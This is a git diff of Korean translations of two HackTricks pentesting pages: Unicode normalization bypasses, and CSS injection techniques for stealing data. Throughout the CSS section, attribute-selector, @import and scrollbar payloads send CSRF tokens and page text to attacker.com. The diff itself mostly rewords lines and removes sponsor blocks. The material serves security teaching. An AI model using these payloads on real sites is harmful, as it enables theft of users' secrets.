유니코드 인코딩을 이해하는 것은 특히 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 중요합니다. 주요 사항은 다음과 같습니다:
|
||||||
|
|
||||||
* **코드 포인트와 문자**: 유니코드에서 각 문자나 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
|
* **코드 포인트와 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
|
||||||
* **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
|
* **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
|
||||||
* **인코딩**: 이 용어는 문자가 바이트 시리즈로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
|
* **인코딩**: 이 용어는 문자가 바이트 시리즈로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
|
||||||
* **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
|
* **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
|
||||||
|
@ -52,7 +38,7 @@ WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한
|
||||||
|
|
||||||
이러한 개념을 이해하는 것은 유니코드의 복잡성과 다양한 인코딩 방법에서 발생할 수 있는 잠재적인 문제를 효과적으로 처리하고 완화하는 데 중요합니다.
|
이러한 개념을 이해하는 것은 유니코드의 복잡성과 다양한 인코딩 방법에서 발생할 수 있는 잠재적인 문제를 효과적으로 처리하고 완화하는 데 중요합니다.
|
||||||
|
|
||||||
유니코드가 동일한 문자를 나타내는 두 개의 다른 바이트를 정규화하는 방법의 예:
|
유니코드가 동일한 문자를 나타내는 두 개의 다른 바이트를 어떻게 정규화하는지에 대한 예:
|
||||||
```python
|
```python
|
||||||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||||
```
|
```
|
||||||
|
@ -60,7 +46,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||||
|
|
||||||
### 발견하기
|
### 발견하기
|
||||||
|
|
||||||
웹앱에서 반환되는 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**를 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
|
웹앱에서 반환되는 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
|
||||||
|
|
||||||
다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`는 **유니코드** 후에 `Leonishan`입니다.
|
다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`는 **유니코드** 후에 `Leonishan`입니다.
|
||||||
|
|
||||||
|
@ -116,7 +102,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||||
|
|
||||||
### 퍼징 정규 표현식
|
### 퍼징 정규 표현식
|
||||||
|
|
||||||
백엔드가 **정규 표현식으로 사용자 입력을 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식은 **전송된 URL**을 **정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
|
백엔드가 **정규 표현식으로 사용자 입력을 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
|
||||||
|
|
||||||
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
|
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
|
||||||
|
|
||||||
|
@ -126,18 +112,6 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **스틸러 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,33 +1,26 @@
|
||||||
# CSS Injection
|
# CSS Injection
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## CSS Injection
|
## CSS Injection
|
||||||
|
|
||||||
### Attribute Selector
|
### 속성 선택자
|
||||||
|
|
||||||
CSS 선택자는 `input` 요소의 `name` 및 `value` 속성의 값을 일치시키도록 작성됩니다. 입력 요소의 value 속성이 특정 문자로 시작하면 미리 정의된 외부 리소스가 로드됩니다:
|
CSS 선택자는 `input` 요소의 `name` 및 `value` 속성 값을 일치시키도록 제작됩니다. 입력 요소의 값 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:
|
||||||
```css
|
```css
|
||||||
input[name=csrf][value^=a]{
|
input[name=csrf][value^=a]{
|
||||||
background-image: url(https://attacker.com/exfil/a);
|
background-image: url(https://attacker.com/exfil/a);
|
||||||
|
@ -63,7 +56,7 @@ CSS 인젝션 기법이 효과적이기 위해서는 특정 조건이 충족되
|
||||||
### 블라인드 속성 선택자
|
### 블라인드 속성 선택자
|
||||||
|
|
||||||
[**이 게시물에서 설명된 바와 같이**](https://portswigger.net/research/blind-css-exfiltration), **`:has`**와 **`:not`** 선택자를 결합하여 블라인드 요소에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS 인젝션을 로드하는 웹 페이지의 내용이 무엇인지 전혀 모를 때 매우 유용합니다.\
|
[**이 게시물에서 설명된 바와 같이**](https://portswigger.net/research/blind-css-exfiltration), **`:has`**와 **`:not`** 선택자를 결합하여 블라인드 요소에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS 인젝션을 로드하는 웹 페이지의 내용이 무엇인지 전혀 모를 때 매우 유용합니다.\
|
||||||
또한 이러한 선택자를 사용하여 같은 유형의 여러 블록에서 정보를 추출할 수도 있습니다:
|
또한 이러한 선택자를 사용하여 동일한 유형의 여러 블록에서 정보를 추출할 수도 있습니다:
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||||
|
@ -73,23 +66,23 @@ background:url(/m);
|
||||||
<input name=mytoken value=1337>
|
<input name=mytoken value=1337>
|
||||||
<input name=myname value=gareth>
|
<input name=myname value=gareth>
|
||||||
```
|
```
|
||||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **정보를 CSS 주입을 통해 블라인드 페이지에서** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
이것을 다음 **@import** 기술과 결합하면, **[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**를 사용하여 **블라인드 페이지에서 CSS 주입으로 많은 정보를 유출할 수 있습니다.**
|
||||||
|
|
||||||
### @import
|
### @import
|
||||||
|
|
||||||
The previous technique has some drawbacks, check the prerequisites. You either need to be able to **희생자에게 여러 링크를 보낼 수 있거나**, or you need to be able to **CSS 주입 취약한 페이지를 iframe으로 삽입할 수 있어야 합니다**.
|
이전 기술에는 몇 가지 단점이 있으므로, 전제 조건을 확인해야 합니다. **희생자에게 여러 링크를 보낼 수 있어야 하거나**, **CSS 주입 취약 페이지를 iframe으로 불러올 수 있어야 합니다.**
|
||||||
|
|
||||||
However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique.
|
그러나 **CSS `@import`**를 사용하여 기술의 품질을 향상시키는 또 다른 영리한 기술이 있습니다.
|
||||||
|
|
||||||
This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) and it works like this:
|
이것은 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)에 의해 처음 보여졌으며, 다음과 같이 작동합니다:
|
||||||
|
|
||||||
Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **페이지를 단 한 번만 로드하고 공격자의 서버로의 import만 사용합니다** (this is the payload to send to the victim):
|
매번 수십 개의 다른 페이로드로 같은 페이지를 반복해서 로드하는 대신(이전과 같이), 우리는 **공격자의 서버로의 임포트만으로 페이지를 한 번만 로드할 것입니다**(이것이 희생자에게 보낼 페이로드입니다):
|
||||||
```css
|
```css
|
||||||
@import url('//attacker.com:5001/start?');
|
@import url('//attacker.com:5001/start?');
|
||||||
```
|
```
|
||||||
1. import는 **공격자로부터 CSS 스크립트 일부를 수신하고** **브라우저가 이를 로드할 것입니다**.
|
1. import는 **공격자로부터 CSS 스크립트 일부를 수신할 것이고** **브라우저는 이를 로드할 것입니다**.
|
||||||
2. 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 **다시 공격자의 서버에 대한 또 다른 `@import`입니다.**
|
2. 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 **다시 공격자의 서버에 대한 또 다른 `@import`입니다.**
|
||||||
1. 공격자의 서버는 이 요청에 응답하지 않을 것이며, 우리는 몇 개의 문자를 유출한 다음 이 import에 페이로드를 응답하여 다음 문자를 유출하고자 합니다.
|
1. 공격자의 서버는 이 요청에 아직 응답하지 않을 것이며, 우리는 몇 개의 문자를 유출한 다음 이 import에 페이로드를 응답하여 다음 문자를 유출하고자 합니다.
|
||||||
3. 페이로드의 두 번째이자 더 큰 부분은 **속성 선택자 유출 페이로드**가 될 것입니다.
|
3. 페이로드의 두 번째이자 더 큰 부분은 **속성 선택자 유출 페이로드**가 될 것입니다.
|
||||||
1. 이는 공격자의 서버에 **비밀의 첫 번째 문자와 마지막 문자를** 보낼 것입니다.
|
1. 이는 공격자의 서버에 **비밀의 첫 번째 문자와 마지막 문자를** 보낼 것입니다.
|
||||||
4. 공격자의 서버가 **비밀의 첫 번째 문자와 마지막 문자를** 수신하면, **2단계에서 요청된 import에 응답할 것입니다**.
|
4. 공격자의 서버가 **비밀의 첫 번째 문자와 마지막 문자를** 수신하면, **2단계에서 요청된 import에 응답할 것입니다**.
|
||||||
|
@ -112,8 +105,8 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
때때로 스크립트는 **접두사 + 접미사로 발견된 것이 이미 전체 플래그임을 올바르게 감지하지 못하고** 계속 앞으로(접두사)와 뒤로(접미사) 진행하며 어느 순간 멈출 수 있습니다.\
|
가끔 스크립트가 **접두사 + 접미사로 발견된 것이 이미 전체 플래그임을 올바르게 감지하지 못하고** 계속 앞으로(접두사)와 뒤로(접미사) 진행하여 어느 순간 멈출 수 있습니다.\
|
||||||
걱정하지 마세요, **출력**을 확인하면 **거기에서 플래그를 볼 수 있습니다**.
|
걱정하지 마세요, **출력**을 확인하면 **거기에서 플래그를 볼 수 있습니다**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 다른 선택자
|
### 다른 선택자
|
||||||
|
@ -166,11 +159,11 @@ font-family: 'poc';
|
||||||
- 리소스(`favicon.ico`) 로드에 실패하면 `<object>` 태그 내의 대체 콘텐츠(문자 'A')가 표시됩니다.
|
- 리소스(`favicon.ico`) 로드에 실패하면 `<object>` 태그 내의 대체 콘텐츠(문자 'A')가 표시됩니다.
|
||||||
- 외부 리소스를 로드할 수 없는 경우 대체 콘텐츠('A')는 커스텀 폰트 `poc`를 사용하여 렌더링됩니다.
|
- 외부 리소스를 로드할 수 없는 경우 대체 콘텐츠('A')는 커스텀 폰트 `poc`를 사용하여 렌더링됩니다.
|
||||||
|
|
||||||
### 텍스트 조각으로 스크롤 스타일링
|
### 스크롤-투-텍스트 프래그먼트 스타일링
|
||||||
|
|
||||||
**`:target`** 의사 클래스는 [CSS 선택자 레벨 4 사양](https://drafts.csswg.org/selectors-4/#the-target-pseudo)에서 지정된 대로 **URL 조각**에 의해 타겟팅된 요소를 선택하는 데 사용됩니다. `::target-text`는 텍스트가 조각에 의해 명시적으로 타겟팅되지 않는 한 어떤 요소와도 일치하지 않는다는 점을 이해하는 것이 중요합니다.
|
**`:target`** 의사 클래스는 [CSS 선택자 레벨 4 사양](https://drafts.csswg.org/selectors-4/#the-target-pseudo)에서 지정된 대로 **URL 프래그먼트**에 의해 타겟팅된 요소를 선택하는 데 사용됩니다. `::target-text`는 텍스트가 프래그먼트에 의해 명시적으로 타겟팅되지 않는 한 어떤 요소와도 일치하지 않는다는 점을 이해하는 것이 중요합니다.
|
||||||
|
|
||||||
공격자가 **텍스트로 스크롤** 조각 기능을 악용할 때 보안 문제가 발생하며, 이를 통해 HTML 주입을 통해 자신의 서버에서 리소스를 로드하여 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
|
공격자가 **스크롤-투-텍스트** 프래그먼트 기능을 악용할 때 보안 문제가 발생하며, 이를 통해 HTML 주입을 통해 자신의 서버에서 리소스를 로드하여 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
|
||||||
```css
|
```css
|
||||||
:target::before { content : url(target.png) }
|
:target::before { content : url(target.png) }
|
||||||
```
|
```
|
||||||
|
@ -182,19 +175,19 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
|
||||||
|
|
||||||
완화를 위해 다음 사항을 유의해야 합니다:
|
완화를 위해 다음 사항을 유의해야 합니다:
|
||||||
|
|
||||||
1. **제한된 STTF 매칭**: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어, 임의의 비밀이나 토큰을 유출할 수 있는 능력을 제한합니다.
|
1. **제한된 STTF 매칭**: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어, 임의의 비밀이나 토큰이 유출되는 능력을 제한합니다.
|
||||||
2. **최상위 브라우징 컨텍스트로 제한**: STTF는 오직 최상위 브라우징 컨텍스트에서만 작동하며, iframe 내에서는 작동하지 않아, 어떤 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
|
2. **최상위 브라우징 컨텍스트로 제한**: STTF는 오직 최상위 브라우징 컨텍스트에서만 작동하며, iframe 내에서는 작동하지 않아, 어떤 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
|
||||||
3. **사용자 활성화 필요**: STTF는 작동하기 위해 사용자 활성화 제스처가 필요하므로, 악용은 사용자 주도 탐색을 통해서만 가능합니다. 이 요구 사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법(예: 사회 공학, 널리 사용되는 브라우저 확장과의 상호작용)을 지적합니다.
|
3. **사용자 활성화 필요**: STTF는 작동하기 위해 사용자 활성화 제스처가 필요하므로, 악용은 사용자 주도 탐색을 통해서만 가능하다는 의미입니다. 이 요구 사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법(예: 사회 공학, 널리 사용되는 브라우저 확장과의 상호작용)을 지적합니다.
|
||||||
|
|
||||||
이러한 메커니즘과 잠재적 취약성에 대한 인식은 웹 보안을 유지하고 이러한 착취 전술로부터 보호하는 데 핵심입니다.
|
이러한 메커니즘과 잠재적 취약성에 대한 인식은 웹 보안을 유지하고 이러한 착취 전술로부터 보호하는 데 핵심입니다.
|
||||||
|
|
||||||
자세한 정보는 원본 보고서를 확인하세요: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
자세한 정보는 원본 보고서를 확인하세요: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||||
|
|
||||||
여기에서 [**CTF를 위한 이 기술을 사용한 익스플로잇을 확인할 수 있습니다**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
이 기술을 사용한 [**CTF용 익스플로잇을 여기에서 확인할 수 있습니다**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||||
|
|
||||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||||
|
|
||||||
페이지에 해당 유니코드 값이 존재할 때만 **특정 유니코드 값에 대한 외부 글꼴을 지정할 수 있습니다**. 예를 들어:
|
특정 유니코드 값에 대해 **외부 글꼴을 지정할 수 있으며**, 해당 유니코드 값이 페이지에 존재할 때만 **수집됩니다**. 예를 들어:
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
@font-face{
|
@font-face{
|
||||||
|
@ -233,9 +226,9 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
|
||||||
- 이러한 폰트는 fontforge를 사용하여 woff 형식으로 변환됩니다.
|
- 이러한 폰트는 fontforge를 사용하여 woff 형식으로 변환됩니다.
|
||||||
|
|
||||||
2. **너비 변화 감지**:
|
2. **너비 변화 감지**:
|
||||||
- CSS를 사용하여 텍스트가 줄 바꿈되지 않도록 하고(`white-space: nowrap`), 스크롤바 스타일을 사용자 정의합니다.
|
- CSS는 텍스트가 줄 바꿈되지 않도록 보장하고 (`white-space: nowrap`) 스크롤바 스타일을 사용자 정의하는 데 사용됩니다.
|
||||||
- 독특하게 스타일링된 수평 스크롤바의 출현은 특정 리가처, 즉 특정 문자 시퀀스가 텍스트에 존재함을 나타내는 지표(오라클) 역할을 합니다.
|
- 특정 리가처, 즉 특정 문자 시퀀스가 텍스트에 존재함을 나타내는 수평 스크롤바의 출현은 지표(오라클) 역할을 합니다.
|
||||||
- 관련된 CSS:
|
- 관련 CSS:
|
||||||
```css
|
```css
|
||||||
body { white-space: nowrap };
|
body { white-space: nowrap };
|
||||||
body::-webkit-scrollbar { background: blue; }
|
body::-webkit-scrollbar { background: blue; }
|
||||||
|
@ -247,7 +240,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
||||||
- **2단계**: 큰 너비 글리프(문자 쌍에 대한 리가처)가 렌더링될 때를 감지하기 위해 스크롤바 기반의 트릭을 사용합니다.
|
- **2단계**: 큰 너비 글리프(문자 쌍에 대한 리가처)가 렌더링될 때를 감지하기 위해 스크롤바 기반의 트릭을 사용합니다.
|
||||||
- **3단계**: 리가처를 감지하면, 감지된 쌍을 포함하고 앞이나 뒤에 문자를 추가하여 세 문자 시퀀스를 나타내는 새로운 글리프가 생성됩니다.
|
- **3단계**: 리가처를 감지하면, 감지된 쌍을 포함하고 앞이나 뒤에 문자를 추가하여 세 문자 시퀀스를 나타내는 새로운 글리프가 생성됩니다.
|
||||||
- **4단계**: 세 문자 리가처의 감지가 수행됩니다.
|
- **4단계**: 세 문자 리가처의 감지가 수행됩니다.
|
||||||
- **5단계**: 이 과정이 반복되어 전체 텍스트가 점진적으로 드러납니다.
|
- **5단계**: 이 과정은 반복되어 전체 텍스트를 점진적으로 드러냅니다.
|
||||||
|
|
||||||
4. **최적화**:
|
4. **최적화**:
|
||||||
- 현재 `<meta refresh=...`를 사용하는 초기화 방법은 최적이 아닙니다.
|
- 현재 `<meta refresh=...`를 사용하는 초기화 방법은 최적이 아닙니다.
|
||||||
|
@ -416,7 +409,7 @@ background: blue var(--leak);
|
||||||
|
|
||||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
이 경우는 이전 경우와 매우 유사하지만, 이 경우 특정 **문자를 다른 문자보다 크게 만들어서** 버튼이 봇에 의해 눌리지 않도록 하거나 로드되지 않을 이미지를 숨기는 것이 목표입니다. 따라서 우리는 행동(또는 행동의 부재)을 측정하고 특정 문자가 텍스트 안에 존재하는지 알 수 있습니다.
|
이 경우는 이전 경우와 매우 유사하지만, 이 경우 특정 **문자를 다른 문자보다 크게 만들어서** 봇이 누르지 않도록 버튼이나 로드되지 않을 이미지를 숨기는 것이 목표입니다. 따라서 우리는 행동(또는 행동의 부재)을 측정하고 특정 문자가 텍스트 안에 존재하는지 알 수 있습니다.
|
||||||
|
|
||||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
|
@ -432,13 +425,13 @@ unicode-range: U+0041;
|
||||||
```
|
```
|
||||||
만약 일치하는 경우, **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 성공적으로 로드되지는 않겠지만, **브라우저는 이를 캐시해야 하며**, 캐시가 없더라도 **304 not modified** 메커니즘이 있으므로, **응답은 다른 것들보다 더 빠를 것입니다**.
|
만약 일치하는 경우, **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 성공적으로 로드되지는 않겠지만, **브라우저는 이를 캐시해야 하며**, 캐시가 없더라도 **304 not modified** 메커니즘이 있으므로, **응답은 다른 것들보다 더 빠를 것입니다**.
|
||||||
|
|
||||||
그러나 캐시된 응답과 비캐시된 응답의 시간 차이가 충분히 크지 않다면, 이는 유용하지 않을 것입니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후, 첫 번째 문제는 속도가 그리 다르지 않다는 것이고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 것입니다. 이는 정말 사려 깊습니다.
|
하지만 캐시된 응답과 비캐시된 응답의 시간 차이가 충분히 크지 않다면, 이는 유용하지 않을 것입니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후, 첫 번째 문제는 속도가 그리 다르지 않다는 것이고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 것입니다. 이는 정말 사려 깊습니다.
|
||||||
|
|
||||||
